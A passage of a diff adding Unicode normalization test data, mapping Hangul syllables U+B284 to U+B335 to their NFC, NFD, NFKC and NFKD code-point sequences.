+{ source: [0xB284], NFC: [0xB284], NFD: [0x1102, 0x1172, 0x11B7], NFKC: [0xB284], NFKD: [0x1102, 0x1172, 0x11B7] },
+{ source: [0xB285], NFC: [0xB285], NFD: [0x1102, 0x1172, 0x11B8], NFKC: [0xB285], NFKD: [0x1102, 0x1172, 0x11B8] },
+{ source: [0xB286], NFC: [0xB286], NFD: [0x1102, 0x1172, 0x11B9], NFKC: [0xB286], NFKD: [0x1102, 0x1172, 0x11B9] },
+{ source: [0xB287], NFC: [0xB287], NFD: [0x1102, 0x1172, 0x11BA], NFKC: [0xB287], NFKD: [0x1102, 0x1172, 0x11BA] },
+{ source: [0xB288], NFC: [0xB288], NFD: [0x1102, 0x1172, 0x11BB], NFKC: [0xB288], NFKD: [0x1102, 0x1172, 0x11BB] },
+{ source: [0xB289], NFC: [0xB289], NFD: [0x1102, 0x1172, 0x11BC], NFKC: [0xB289], NFKD: [0x1102, 0x1172, 0x11BC] },
+{ source: [0xB28A], NFC: [0xB28A], NFD: [0x1102, 0x1172, 0x11BD], NFKC: [0xB28A], NFKD: [0x1102, 0x1172, 0x11BD] },
+{ source: [0xB28B], NFC: [0xB28B], NFD: [0x1102, 0x1172, 0x11BE], NFKC: [0xB28B], NFKD: [0x1102, 0x1172, 0x11BE] },
+{ source: [0xB28C], NFC: [0xB28C], NFD: [0x1102, 0x1172, 0x11BF], NFKC: [0xB28C], NFKD: [0x1102, 0x1172, 0x11BF] },
+{ source: [0xB28D], NFC: [0xB28D], NFD: [0x1102, 0x1172, 0x11C0], NFKC: [0xB28D], NFKD: [0x1102, 0x1172, 0x11C0] },
+{ source: [0xB28E], NFC: [0xB28E], NFD: [0x1102, 0x1172, 0x11C1], NFKC: [0xB28E], NFKD: [0x1102, 0x1172, 0x11C1] },
+{ source: [0xB28F], NFC: [0xB28F], NFD: [0x1102, 0x1172, 0x11C2], NFKC: [0xB28F], NFKD: [0x1102, 0x1172, 0x11C2] },
+{ source: [0xB290], NFC: [0xB290], NFD: [0x1102, 0x1173], NFKC: [0xB290], NFKD: [0x1102, 0x1173] },
+{ source: [0xB291], NFC: [0xB291], NFD: [0x1102, 0x1173, 0x11A8], NFKC: [0xB291], NFKD: [0x1102, 0x1173, 0x11A8] },
+{ source: [0xB292], NFC: [0xB292], NFD: [0x1102, 0x1173, 0x11A9], NFKC: [0xB292], NFKD: [0x1102, 0x1173, 0x11A9] },
+{ source: [0xB293], NFC: [0xB293], NFD: [0x1102, 0x1173, 0x11AA], NFKC: [0xB293], NFKD: [0x1102, 0x1173, 0x11AA] },
+{ source: [0xB294], NFC: [0xB294], NFD: [0x1102, 0x1173, 0x11AB], NFKC: [0xB294], NFKD: [0x1102, 0x1173, 0x11AB] },
+{ source: [0xB295], NFC: [0xB295], NFD: [0x1102, 0x1173, 0x11AC], NFKC: [0xB295], NFKD: [0x1102, 0x1173, 0x11AC] },
+{ source: [0xB296], NFC: [0xB296], NFD: [0x1102, 0x1173, 0x11AD], NFKC: [0xB296], NFKD: [0x1102, 0x1173, 0x11AD] },
+{ source: [0xB297], NFC: [0xB297], NFD: [0x1102, 0x1173, 0x11AE], NFKC: [0xB297], NFKD: [0x1102, 0x1173, 0x11AE] },
+{ source: [0xB298], NFC: [0xB298], NFD: [0x1102, 0x1173, 0x11AF], NFKC: [0xB298], NFKD: [0x1102, 0x1173, 0x11AF] },
+{ source: [0xB299], NFC: [0xB299], NFD: [0x1102, 0x1173, 0x11B0], NFKC: [0xB299], NFKD: [0x1102, 0x1173, 0x11B0] },
+{ source: [0xB29A], NFC: [0xB29A], NFD: [0x1102, 0x1173, 0x11B1], NFKC: [0xB29A], NFKD: [0x1102, 0x1173, 0x11B1] },
+{ source: [0xB29B], NFC: [0xB29B], NFD: [0x1102, 0x1173, 0x11B2], NFKC: [0xB29B], NFKD: [0x1102, 0x1173, 0x11B2] },
+{ source: [0xB29C], NFC: [0xB29C], NFD: [0x1102, 0x1173, 0x11B3], NFKC: [0xB29C], NFKD: [0x1102, 0x1173, 0x11B3] },
+{ source: [0xB29D], NFC: [0xB29D], NFD: [0x1102, 0x1173, 0x11B4], NFKC: [0xB29D], NFKD: [0x1102, 0x1173, 0x11B4] },
+{ source: [0xB29E], NFC: [0xB29E], NFD: [0x1102, 0x1173, 0x11B5], NFKC: [0xB29E], NFKD: [0x1102, 0x1173, 0x11B5] },
+{ source: [0xB29F], NFC: [0xB29F], NFD: [0x1102, 0x1173, 0x11B6], NFKC: [0xB29F], NFKD: [0x1102, 0x1173, 0x11B6] },
+{ source: [0xB2A0], NFC: [0xB2A0], NFD: [0x1102, 0x1173, 0x11B7], NFKC: [0xB2A0], NFKD: [0x1102, 0x1173, 0x11B7] },
+{ source: [0xB2A1], NFC: [0xB2A1], NFD: [0x1102, 0x1173, 0x11B8], NFKC: [0xB2A1], NFKD: [0x1102, 0x1173, 0x11B8] },
+{ source: [0xB2A2], NFC: [0xB2A2], NFD: [0x1102, 0x1173, 0x11B9], NFKC: [0xB2A2], NFKD: [0x1102, 0x1173, 0x11B9] },
+{ source: [0xB2A3], NFC: [0xB2A3], NFD: [0x1102, 0x1173, 0x11BA], NFKC: [0xB2A3], NFKD: [0x1102, 0x1173, 0x11BA] },
+{ source: [0xB2A4], NFC: [0xB2A4], NFD: [0x1102, 0x1173, 0x11BB], NFKC: [0xB2A4], NFKD: [0x1102, 0x1173, 0x11BB] },
+{ source: [0xB2A5], NFC: [0xB2A5], NFD: [0x1102, 0x1173, 0x11BC], NFKC: [0xB2A5], NFKD: [0x1102, 0x1173, 0x11BC] },
+{ source: [0xB2A6], NFC: [0xB2A6], NFD: [0x1102, 0x1173, 0x11BD], NFKC: [0xB2A6], NFKD: [0x1102, 0x1173, 0x11BD] },
+{ source: [0xB2A7], NFC: [0xB2A7], NFD: [0x1102, 0x1173, 0x11BE], NFKC: [0xB2A7], NFKD: [0x1102, 0x1173, 0x11BE] },
+{ source: [0xB2A8], NFC: [0xB2A8], NFD: [0x1102, 0x1173, 0x11BF], NFKC: [0xB2A8], NFKD: [0x1102, 0x1173, 0x11BF] },
+{ source: [0xB2A9], NFC: [0xB2A9], NFD: [0x1102, 0x1173, 0x11C0], NFKC: [0xB2A9], NFKD: [0x1102, 0x1173, 0x11C0] },
+{ source: [0xB2AA], NFC: [0xB2AA], NFD: [0x1102, 0x1173, 0x11C1], NFKC: [0xB2AA], NFKD: [0x1102, 0x1173, 0x11C1] },
+{ source: [0xB2AB], NFC: [0xB2AB], NFD: [0x1102, 0x1173, 0x11C2], NFKC: [0xB2AB], NFKD: [0x1102, 0x1173, 0x11C2] },
+{ source: [0xB2AC], NFC: [0xB2AC], NFD: [0x1102, 0x1174], NFKC: [0xB2AC], NFKD: [0x1102, 0x1174] },
+{ source: [0xB2AD], NFC: [0xB2AD], NFD: [0x1102, 0x1174, 0x11A8], NFKC: [0xB2AD], NFKD: [0x1102, 0x1174, 0x11A8] },
+{ source: [0xB2AE], NFC: [0xB2AE], NFD: [0x1102, 0x1174, 0x11A9], NFKC: [0xB2AE], NFKD: [0x1102, 0x1174, 0x11A9] },
+{ source: [0xB2AF], NFC: [0xB2AF], NFD: [0x1102, 0x1174, 0x11AA], NFKC: [0xB2AF], NFKD: [0x1102, 0x1174, 0x11AA] },
+{ source: [0xB2B0], NFC: [0xB2B0], NFD: [0x1102, 0x1174, 0x11AB], NFKC: [0xB2B0], NFKD: [0x1102, 0x1174, 0x11AB] },
+{ source: [0xB2B1], NFC: [0xB2B1], NFD: [0x1102, 0x1174, 0x11AC], NFKC: [0xB2B1], NFKD: [0x1102, 0x1174, 0x11AC] },
+{ source: [0xB2B2], NFC: [0xB2B2], NFD: [0x1102, 0x1174, 0x11AD], NFKC: [0xB2B2], NFKD: [0x1102, 0x1174, 0x11AD] },
+{ source: [0xB2B3], NFC: [0xB2B3], NFD: [0x1102, 0x1174, 0x11AE], NFKC: [0xB2B3], NFKD: [0x1102, 0x1174, 0x11AE] },
+{ source: [0xB2B4], NFC: [0xB2B4], NFD: [0x1102, 0x1174, 0x11AF], NFKC: [0xB2B4], NFKD: [0x1102, 0x1174, 0x11AF] },
+{ source: [0xB2B5], NFC: [0xB2B5], NFD: [0x1102, 0x1174, 0x11B0], NFKC: [0xB2B5], NFKD: [0x1102, 0x1174, 0x11B0] },
+{ source: [0xB2B6], NFC: [0xB2B6], NFD: [0x1102, 0x1174, 0x11B1], NFKC: [0xB2B6], NFKD: [0x1102, 0x1174, 0x11B1] },
+{ source: [0xB2B7], NFC: [0xB2B7], NFD: [0x1102, 0x1174, 0x11B2], NFKC: [0xB2B7], NFKD: [0x1102, 0x1174, 0x11B2] },
+{ source: [0xB2B8], NFC: [0xB2B8], NFD: [0x1102, 0x1174, 0x11B3], NFKC: [0xB2B8], NFKD: [0x1102, 0x1174, 0x11B3] },
+{ source: [0xB2B9], NFC: [0xB2B9], NFD: [0x1102, 0x1174, 0x11B4], NFKC: [0xB2B9], NFKD: [0x1102, 0x1174, 0x11B4] },
+{ source: [0xB2BA], NFC: [0xB2BA], NFD: [0x1102, 0x1174, 0x11B5], NFKC: [0xB2BA], NFKD: [0x1102, 0x1174, 0x11B5] },
+{ source: [0xB2BB], NFC: [0xB2BB], NFD: [0x1102, 0x1174, 0x11B6], NFKC: [0xB2BB], NFKD: [0x1102, 0x1174, 0x11B6] },
+{ source: [0xB2BC], NFC: [0xB2BC], NFD: [0x1102, 0x1174, 0x11B7], NFKC: [0xB2BC], NFKD: [0x1102, 0x1174, 0x11B7] },
+{ source: [0xB2BD], NFC: [0xB2BD], NFD: [0x1102, 0x1174, 0x11B8], NFKC: [0xB2BD], NFKD: [0x1102, 0x1174, 0x11B8] },
+{ source: [0xB2BE], NFC: [0xB2BE], NFD: [0x1102, 0x1174, 0x11B9], NFKC: [0xB2BE], NFKD: [0x1102, 0x1174, 0x11B9] },
+{ source: [0xB2BF], NFC: [0xB2BF], NFD: [0x1102, 0x1174, 0x11BA], NFKC: [0xB2BF], NFKD: [0x1102, 0x1174, 0x11BA] },
+{ source: [0xB2C0], NFC: [0xB2C0], NFD: [0x1102, 0x1174, 0x11BB], NFKC: [0xB2C0], NFKD: [0x1102, 0x1174, 0x11BB] },
+{ source: [0xB2C1], NFC: [0xB2C1], NFD: [0x1102, 0x1174, 0x11BC], NFKC: [0xB2C1], NFKD: [0x1102, 0x1174, 0x11BC] },
+{ source: [0xB2C2], NFC: [0xB2C2], NFD: [0x1102, 0x1174, 0x11BD], NFKC: [0xB2C2], NFKD: [0x1102, 0x1174, 0x11BD] },
+{ source: [0xB2C3], NFC: [0xB2C3], NFD: [0x1102, 0x1174, 0x11BE], NFKC: [0xB2C3], NFKD: [0x1102, 0x1174, 0x11BE] },
+{ source: [0xB2C4], NFC: [0xB2C4], NFD: [0x1102, 0x1174, 0x11BF], NFKC: [0xB2C4], NFKD: [0x1102, 0x1174, 0x11BF] },
+{ source: [0xB2C5], NFC: [0xB2C5], NFD: [0x1102, 0x1174, 0x11C0], NFKC: [0xB2C5], NFKD: [0x1102, 0x1174, 0x11C0] },
+{ source: [0xB2C6], NFC: [0xB2C6], NFD: [0x1102, 0x1174, 0x11C1], NFKC: [0xB2C6], NFKD: [0x1102, 0x1174, 0x11C1] },
+{ source: [0xB2C7], NFC: [0xB2C7], NFD: [0x1102, 0x1174, 0x11C2], NFKC: [0xB2C7], NFKD: [0x1102, 0x1174, 0x11C2] },
+{ source: [0xB2C8], NFC: [0xB2C8], NFD: [0x1102, 0x1175], NFKC: [0xB2C8], NFKD: [0x1102, 0x1175] },
+{ source: [0xB2C9], NFC: [0xB2C9], NFD: [0x1102, 0x1175, 0x11A8], NFKC: [0xB2C9], NFKD: [0x1102, 0x1175, 0x11A8] },
+{ source: [0xB2CA], NFC: [0xB2CA], NFD: [0x1102, 0x1175, 0x11A9], NFKC: [0xB2CA], NFKD: [0x1102, 0x1175, 0x11A9] },
+{ source: [0xB2CB], NFC: [0xB2CB], NFD: [0x1102, 0x1175, 0x11AA], NFKC: [0xB2CB], NFKD: [0x1102, 0x1175, 0x11AA] },
+{ source: [0xB2CC], NFC: [0xB2CC], NFD: [0x1102, 0x1175, 0x11AB], NFKC: [0xB2CC], NFKD: [0x1102, 0x1175, 0x11AB] },
+{ source: [0xB2CD], NFC: [0xB2CD], NFD: [0x1102, 0x1175, 0x11AC], NFKC: [0xB2CD], NFKD: [0x1102, 0x1175, 0x11AC] },
+{ source: [0xB2CE], NFC: [0xB2CE], NFD: [0x1102, 0x1175, 0x11AD], NFKC: [0xB2CE], NFKD: [0x1102, 0x1175, 0x11AD] },
+{ source: [0xB2CF], NFC: [0xB2CF], NFD: [0x1102, 0x1175, 0x11AE], NFKC: [0xB2CF], NFKD: [0x1102, 0x1175, 0x11AE] },
+{ source: [0xB2D0], NFC: [0xB2D0], NFD: [0x1102, 0x1175, 0x11AF], NFKC: [0xB2D0], NFKD: [0x1102, 0x1175, 0x11AF] },
+{ source: [0xB2D1], NFC: [0xB2D1], NFD: [0x1102, 0x1175, 0x11B0], NFKC: [0xB2D1], NFKD: [0x1102, 0x1175, 0x11B0] },
+{ source: [0xB2D2], NFC: [0xB2D2], NFD: [0x1102, 0x1175, 0x11B1], NFKC: [0xB2D2], NFKD: [0x1102, 0x1175, 0x11B1] },
+{ source: [0xB2D3], NFC: [0xB2D3], NFD: [0x1102, 0x1175, 0x11B2], NFKC: [0xB2D3], NFKD: [0x1102, 0x1175, 0x11B2] },
+{ source: [0xB2D4], NFC: [0xB2D4], NFD: [0x1102, 0x1175, 0x11B3], NFKC: [0xB2D4], NFKD: [0x1102, 0x1175, 0x11B3] },
+{ source: [0xB2D5], NFC: [0xB2D5], NFD: [0x1102, 0x1175, 0x11B4], NFKC: [0xB2D5], NFKD: [0x1102, 0x1175, 0x11B4] },
+{ source: [0xB2D6], NFC: [0xB2D6], NFD: [0x1102, 0x1175, 0x11B5], NFKC: [0xB2D6], NFKD: [0x1102, 0x1175, 0x11B5] },
+{ source: [0xB2D7], NFC: [0xB2D7], NFD: [0x1102, 0x1175, 0x11B6], NFKC: [0xB2D7], NFKD: [0x1102, 0x1175, 0x11B6] },
+{ source: [0xB2D8], NFC: [0xB2D8], NFD: [0x1102, 0x1175, 0x11B7], NFKC: [0xB2D8], NFKD: [0x1102, 0x1175, 0x11B7] },
+{ source: [0xB2D9], NFC: [0xB2D9], NFD: [0x1102, 0x1175, 0x11B8], NFKC: [0xB2D9], NFKD: [0x1102, 0x1175, 0x11B8] },
+{ source: [0xB2DA], NFC: [0xB2DA], NFD: [0x1102, 0x1175, 0x11B9], NFKC: [0xB2DA], NFKD: [0x1102, 0x1175, 0x11B9] },
+{ source: [0xB2DB], NFC: [0xB2DB], NFD: [0x1102, 0x1175, 0x11BA], NFKC: [0xB2DB], NFKD: [0x1102, 0x1175, 0x11BA] },
+{ source: [0xB2DC], NFC: [0xB2DC], NFD: [0x1102, 0x1175, 0x11BB], NFKC: [0xB2DC], NFKD: [0x1102, 0x1175, 0x11BB] },
+{ source: [0xB2DD], NFC: [0xB2DD], NFD: [0x1102, 0x1175, 0x11BC], NFKC: [0xB2DD], NFKD: [0x1102, 0x1175, 0x11BC] },
+{ source: [0xB2DE], NFC: [0xB2DE], NFD: [0x1102, 0x1175, 0x11BD], NFKC: [0xB2DE], NFKD: [0x1102, 0x1175, 0x11BD] },
+{ source: [0xB2DF], NFC: [0xB2DF], NFD: [0x1102, 0x1175, 0x11BE], NFKC: [0xB2DF], NFKD: [0x1102, 0x1175, 0x11BE] },
+{ source: [0xB2E0], NFC: [0xB2E0], NFD: [0x1102, 0x1175, 0x11BF], NFKC: [0xB2E0], NFKD: [0x1102, 0x1175, 0x11BF] },
+{ source: [0xB2E1], NFC: [0xB2E1], NFD: [0x1102, 0x1175, 0x11C0], NFKC: [0xB2E1], NFKD: [0x1102, 0x1175, 0x11C0] },
+{ source: [0xB2E2], NFC: [0xB2E2], NFD: [0x1102, 0x1175, 0x11C1], NFKC: [0xB2E2], NFKD: [0x1102, 0x1175, 0x11C1] },
+{ source: [0xB2E3], NFC: [0xB2E3], NFD: [0x1102, 0x1175, 0x11C2], NFKC: [0xB2E3], NFKD: [0x1102, 0x1175, 0x11C2] },
+{ source: [0xB2E4], NFC: [0xB2E4], NFD: [0x1103, 0x1161], NFKC: [0xB2E4], NFKD: [0x1103, 0x1161] },
+{ source: [0xB2E5], NFC: [0xB2E5], NFD: [0x1103, 0x1161, 0x11A8], NFKC: [0xB2E5], NFKD: [0x1103, 0x1161, 0x11A8] },
+{ source: [0xB2E6], NFC: [0xB2E6], NFD: [0x1103, 0x1161, 0x11A9], NFKC: [0xB2E6], NFKD: [0x1103, 0x1161, 0x11A9] },
+{ source: [0xB2E7], NFC: [0xB2E7], NFD: [0x1103, 0x1161, 0x11AA], NFKC: [0xB2E7], NFKD: [0x1103, 0x1161, 0x11AA] },
+{ source: [0xB2E8], NFC: [0xB2E8], NFD: [0x1103, 0x1161, 0x11AB], NFKC: [0xB2E8], NFKD: [0x1103, 0x1161, 0x11AB] },
+{ source: [0xB2E9], NFC: [0xB2E9], NFD: [0x1103, 0x1161, 0x11AC], NFKC: [0xB2E9], NFKD: [0x1103, 0x1161, 0x11AC] },
+{ source: [0xB2EA], NFC: [0xB2EA], NFD: [0x1103, 0x1161, 0x11AD], NFKC: [0xB2EA], NFKD: [0x1103, 0x1161, 0x11AD] },
+{ source: [0xB2EB], NFC: [0xB2EB], NFD: [0x1103, 0x1161, 0x11AE], NFKC: [0xB2EB], NFKD: [0x1103, 0x1161, 0x11AE] },
+{ source: [0xB2EC], NFC: [0xB2EC], NFD: [0x1103, 0x1161, 0x11AF], NFKC: [0xB2EC], NFKD: [0x1103, 0x1161, 0x11AF] },
+{ source: [0xB2ED], NFC: [0xB2ED], NFD: [0x1103, 0x1161, 0x11B0], NFKC: [0xB2ED], NFKD: [0x1103, 0x1161, 0x11B0] },
+{ source: [0xB2EE], NFC: [0xB2EE], NFD: [0x1103, 0x1161, 0x11B1], NFKC: [0xB2EE], NFKD: [0x1103, 0x1161, 0x11B1] },
+{ source: [0xB2EF], NFC: [0xB2EF], NFD: [0x1103, 0x1161, 0x11B2], NFKC: [0xB2EF], NFKD: [0x1103, 0x1161, 0x11B2] },
+{ source: [0xB2F0], NFC: [0xB2F0], NFD: [0x1103, 0x1161, 0x11B3], NFKC: [0xB2F0], NFKD: [0x1103, 0x1161, 0x11B3] },
+{ source: [0xB2F1], NFC: [0xB2F1], NFD: [0x1103, 0x1161, 0x11B4], NFKC: [0xB2F1], NFKD: [0x1103, 0x1161, 0x11B4] },
+{ source: [0xB2F2], NFC: [0xB2F2], NFD: [0x1103, 0x1161, 0x11B5], NFKC: [0xB2F2], NFKD: [0x1103, 0x1161, 0x11B5] },
+{ source: [0xB2F3], NFC: [0xB2F3], NFD: [0x1103, 0x1161, 0x11B6], NFKC: [0xB2F3], NFKD: [0x1103, 0x1161, 0x11B6] },
+{ source: [0xB2F4], NFC: [0xB2F4], NFD: [0x1103, 0x1161, 0x11B7], NFKC: [0xB2F4], NFKD: [0x1103, 0x1161, 0x11B7] },
+{ source: [0xB2F5], NFC: [0xB2F5], NFD: [0x1103, 0x1161, 0x11B8], NFKC: [0xB2F5], NFKD: [0x1103, 0x1161, 0x11B8] },
+{ source: [0xB2F6], NFC: [0xB2F6], NFD: [0x1103, 0x1161, 0x11B9], NFKC: [0xB2F6], NFKD: [0x1103, 0x1161, 0x11B9] },
+{ source: [0xB2F7], NFC: [0xB2F7], NFD: [0x1103, 0x1161, 0x11BA], NFKC: [0xB2F7], NFKD: [0x1103, 0x1161, 0x11BA] },
+{ source: [0xB2F8], NFC: [0xB2F8], NFD: [0x1103, 0x1161, 0x11BB], NFKC: [0xB2F8], NFKD: [0x1103, 0x1161, 0x11BB] },
+{ source: [0xB2F9], NFC: [0xB2F9], NFD: [0x1103, 0x1161, 0x11BC], NFKC: [0xB2F9], NFKD: [0x1103, 0x1161, 0x11BC] },
+{ source: [0xB2FA], NFC: [0xB2FA], NFD: [0x1103, 0x1161, 0x11BD], NFKC: [0xB2FA], NFKD: [0x1103, 0x1161, 0x11BD] },
+{ source: [0xB2FB], NFC: [0xB2FB], NFD: [0x1103, 0x1161, 0x11BE], NFKC: [0xB2FB], NFKD: [0x1103, 0x1161, 0x11BE] },
+{ source: [0xB2FC], NFC: [0xB2FC], NFD: [0x1103, 0x1161, 0x11BF], NFKC: [0xB2FC], NFKD: [0x1103, 0x1161, 0x11BF] },
+{ source: [0xB2FD], NFC: [0xB2FD], NFD: [0x1103, 0x1161, 0x11C0], NFKC: [0xB2FD], NFKD: [0x1103, 0x1161, 0x11C0] },
+{ source: [0xB2FE], NFC: [0xB2FE], NFD: [0x1103, 0x1161, 0x11C1], NFKC: [0xB2FE], NFKD: [0x1103, 0x1161, 0x11C1] },
+{ source: [0xB2FF], NFC: [0xB2FF], NFD: [0x1103, 0x1161, 0x11C2], NFKC: [0xB2FF], NFKD: [0x1103, 0x1161, 0x11C2] },
+{ source: [0xB300], NFC: [0xB300], NFD: [0x1103, 0x1162], NFKC: [0xB300], NFKD: [0x1103, 0x1162] },
+{ source: [0xB301], NFC: [0xB301], NFD: [0x1103, 0x1162, 0x11A8], NFKC: [0xB301], NFKD: [0x1103, 0x1162, 0x11A8] },
+{ source: [0xB302], NFC: [0xB302], NFD: [0x1103, 0x1162, 0x11A9], NFKC: [0xB302], NFKD: [0x1103, 0x1162, 0x11A9] },
+{ source: [0xB303], NFC: [0xB303], NFD: [0x1103, 0x1162, 0x11AA], NFKC: [0xB303], NFKD: [0x1103, 0x1162, 0x11AA] },
+{ source: [0xB304], NFC: [0xB304], NFD: [0x1103, 0x1162, 0x11AB], NFKC: [0xB304], NFKD: [0x1103, 0x1162, 0x11AB] },
+{ source: [0xB305], NFC: [0xB305], NFD: [0x1103, 0x1162, 0x11AC], NFKC: [0xB305], NFKD: [0x1103, 0x1162, 0x11AC] },
+{ source: [0xB306], NFC: [0xB306], NFD: [0x1103, 0x1162, 0x11AD], NFKC: [0xB306], NFKD: [0x1103, 0x1162, 0x11AD] },
+{ source: [0xB307], NFC: [0xB307], NFD: [0x1103, 0x1162, 0x11AE], NFKC: [0xB307], NFKD: [0x1103, 0x1162, 0x11AE] },
+{ source: [0xB308], NFC: [0xB308], NFD: [0x1103, 0x1162, 0x11AF], NFKC: [0xB308], NFKD: [0x1103, 0x1162, 0x11AF] },
+{ source: [0xB309], NFC: [0xB309], NFD: [0x1103, 0x1162, 0x11B0], NFKC: [0xB309], NFKD: [0x1103, 0x1162, 0x11B0] },
+{ source: [0xB30A], NFC: [0xB30A], NFD: [0x1103, 0x1162, 0x11B1], NFKC: [0xB30A], NFKD: [0x1103, 0x1162, 0x11B1] },
+{ source: [0xB30B], NFC: [0xB30B], NFD: [0x1103, 0x1162, 0x11B2], NFKC: [0xB30B], NFKD: [0x1103, 0x1162, 0x11B2] },
+{ source: [0xB30C], NFC: [0xB30C], NFD: [0x1103, 0x1162, 0x11B3], NFKC: [0xB30C], NFKD: [0x1103, 0x1162, 0x11B3] },
+{ source: [0xB30D], NFC: [0xB30D], NFD: [0x1103, 0x1162, 0x11B4], NFKC: [0xB30D], NFKD: [0x1103, 0x1162, 0x11B4] },
+{ source: [0xB30E], NFC: [0xB30E], NFD: [0x1103, 0x1162, 0x11B5], NFKC: [0xB30E], NFKD: [0x1103, 0x1162, 0x11B5] },
+{ source: [0xB30F], NFC: [0xB30F], NFD: [0x1103, 0x1162, 0x11B6], NFKC: [0xB30F], NFKD: [0x1103, 0x1162, 0x11B6] },
+{ source: [0xB310], NFC: [0xB310], NFD: [0x1103, 0x1162, 0x11B7], NFKC: [0xB310], NFKD: [0x1103, 0x1162, 0x11B7] },
+{ source: [0xB311], NFC: [0xB311], NFD: [0x1103, 0x1162, 0x11B8], NFKC: [0xB311], NFKD: [0x1103, 0x1162, 0x11B8] },
+{ source: [0xB312], NFC: [0xB312], NFD: [0x1103, 0x1162, 0x11B9], NFKC: [0xB312], NFKD: [0x1103, 0x1162, 0x11B9] },
+{ source: [0xB313], NFC: [0xB313], NFD: [0x1103, 0x1162, 0x11BA], NFKC: [0xB313], NFKD: [0x1103, 0x1162, 0x11BA] },
+{ source: [0xB314], NFC: [0xB314], NFD: [0x1103, 0x1162, 0x11BB], NFKC: [0xB314], NFKD: [0x1103, 0x1162, 0x11BB] },
+{ source: [0xB315], NFC: [0xB315], NFD: [0x1103, 0x1162, 0x11BC], NFKC: [0xB315], NFKD: [0x1103, 0x1162, 0x11BC] },
+{ source: [0xB316], NFC: [0xB316], NFD: [0x1103, 0x1162, 0x11BD], NFKC: [0xB316], NFKD: [0x1103, 0x1162, 0x11BD] },
+{ source: [0xB317], NFC: [0xB317], NFD: [0x1103, 0x1162, 0x11BE], NFKC: [0xB317], NFKD: [0x1103, 0x1162, 0x11BE] },
+{ source: [0xB318], NFC: [0xB318], NFD: [0x1103, 0x1162, 0x11BF], NFKC: [0xB318], NFKD: [0x1103, 0x1162, 0x11BF] },
+{ source: [0xB319], NFC: [0xB319], NFD: [0x1103, 0x1162, 0x11C0], NFKC: [0xB319], NFKD: [0x1103, 0x1162, 0x11C0] },
+{ source: [0xB31A], NFC: [0xB31A], NFD: [0x1103, 0x1162, 0x11C1], NFKC: [0xB31A], NFKD: [0x1103, 0x1162, 0x11C1] },
+{ source: [0xB31B], NFC: [0xB31B], NFD: [0x1103, 0x1162, 0x11C2], NFKC: [0xB31B], NFKD: [0x1103, 0x1162, 0x11C2] },
+{ source: [0xB31C], NFC: [0xB31C], NFD: [0x1103, 0x1163], NFKC: [0xB31C], NFKD: [0x1103, 0x1163] },
+{ source: [0xB31D], NFC: [0xB31D], NFD: [0x1103, 0x1163, 0x11A8], NFKC: [0xB31D], NFKD: [0x1103, 0x1163, 0x11A8] },
+{ source: [0xB31E], NFC: [0xB31E], NFD: [0x1103, 0x1163, 0x11A9], NFKC: [0xB31E], NFKD: [0x1103, 0x1163, 0x11A9] },
+{ source: [0xB31F], NFC: [0xB31F], NFD: [0x1103, 0x1163, 0x11AA], NFKC: [0xB31F], NFKD: [0x1103, 0x1163, 0x11AA] },
+{ source: [0xB320], NFC: [0xB320], NFD: [0x1103, 0x1163, 0x11AB], NFKC: [0xB320], NFKD: [0x1103, 0x1163, 0x11AB] },
+{ source: [0xB321], NFC: [0xB321], NFD: [0x1103, 0x1163, 0x11AC], NFKC: [0xB321], NFKD: [0x1103, 0x1163, 0x11AC] },
+{ source: [0xB322], NFC: [0xB322], NFD: [0x1103, 0x1163, 0x11AD], NFKC: [0xB322], NFKD: [0x1103, 0x1163, 0x11AD] },
+{ source: [0xB323], NFC: [0xB323], NFD: [0x1103, 0x1163, 0x11AE], NFKC: [0xB323], NFKD: [0x1103, 0x1163, 0x11AE] },
+{ source: [0xB324], NFC: [0xB324], NFD: [0x1103, 0x1163, 0x11AF], NFKC: [0xB324], NFKD: [0x1103, 0x1163, 0x11AF] },
+{ source: [0xB325], NFC: [0xB325], NFD: [0x1103, 0x1163, 0x11B0], NFKC: [0xB325], NFKD: [0x1103, 0x1163, 0x11B0] },
+{ source: [0xB326], NFC: [0xB326], NFD: [0x1103, 0x1163, 0x11B1], NFKC: [0xB326], NFKD: [0x1103, 0x1163, 0x11B1] },
+{ source: [0xB327], NFC: [0xB327], NFD: [0x1103, 0x1163, 0x11B2], NFKC: [0xB327], NFKD: [0x1103, 0x1163, 0x11B2] },
+{ source: [0xB328], NFC: [0xB328], NFD: [0x1103, 0x1163, 0x11B3], NFKC: [0xB328], NFKD: [0x1103, 0x1163, 0x11B3] },
+{ source: [0xB329], NFC: [0xB329], NFD: [0x1103, 0x1163, 0x11B4], NFKC: [0xB329], NFKD: [0x1103, 0x1163, 0x11B4] },
+{ source: [0xB32A], NFC: [0xB32A], NFD: [0x1103, 0x1163, 0x11B5], NFKC: [0xB32A], NFKD: [0x1103, 0x1163, 0x11B5] },
+{ source: [0xB32B], NFC: [0xB32B], NFD: [0x1103, 0x1163, 0x11B6], NFKC: [0xB32B], NFKD: [0x1103, 0x1163, 0x11B6] },
+{ source: [0xB32C], NFC: [0xB32C], NFD: [0x1103, 0x1163, 0x11B7], NFKC: [0xB32C], NFKD: [0x1103, 0x1163, 0x11B7] },
+{ source: [0xB32D], NFC: [0xB32D], NFD: [0x1103, 0x1163, 0x11B8], NFKC: [0xB32D], NFKD: [0x1103, 0x1163, 0x11B8] },
+{ source: [0xB32E], NFC: [0xB32E], NFD: [0x1103, 0x1163, 0x11B9], NFKC: [0xB32E], NFKD: [0x1103, 0x1163, 0x11B9] },
+{ source: [0xB32F], NFC: [0xB32F], NFD: [0x1103, 0x1163, 0x11BA], NFKC: [0xB32F], NFKD: [0x1103, 0x1163, 0x11BA] },
+{ source: [0xB330], NFC: [0xB330], NFD: [0x1103, 0x1163, 0x11BB], NFKC: [0xB330], NFKD: [0x1103, 0x1163, 0x11BB] },
+{ source: [0xB331], NFC: [0xB331], NFD: [0x1103, 0x1163, 0x11BC], NFKC: [0xB331], NFKD: [0x1103, 0x1163, 0x11BC] },
+{ source: [0xB332], NFC: [0xB332], NFD: [0x1103, 0x1163, 0x11BD], NFKC: [0xB332], NFKD: [0x1103, 0x1163, 0x11BD] },
+{ source: [0xB333], NFC: [0xB333], NFD: [0x1103, 0x1163, 0x11BE], NFKC: [0xB333], NFKD: [0x1103, 0x1163, 0x11BE] },
+{ source: [0xB334], NFC: [0xB334], NFD: [0x1103, 0x1163, 0x11BF], NFKC: [0xB334], NFKD: [0x1103, 0x1163, 0x11BF] },
+{ source: [0xB335], NFC: [0xB335], NFD: [0x1103, 0x1163, 0x11C0], NFKC: [0xB335], NFKD: [0x1103, 0x1163, 0x11C0] },
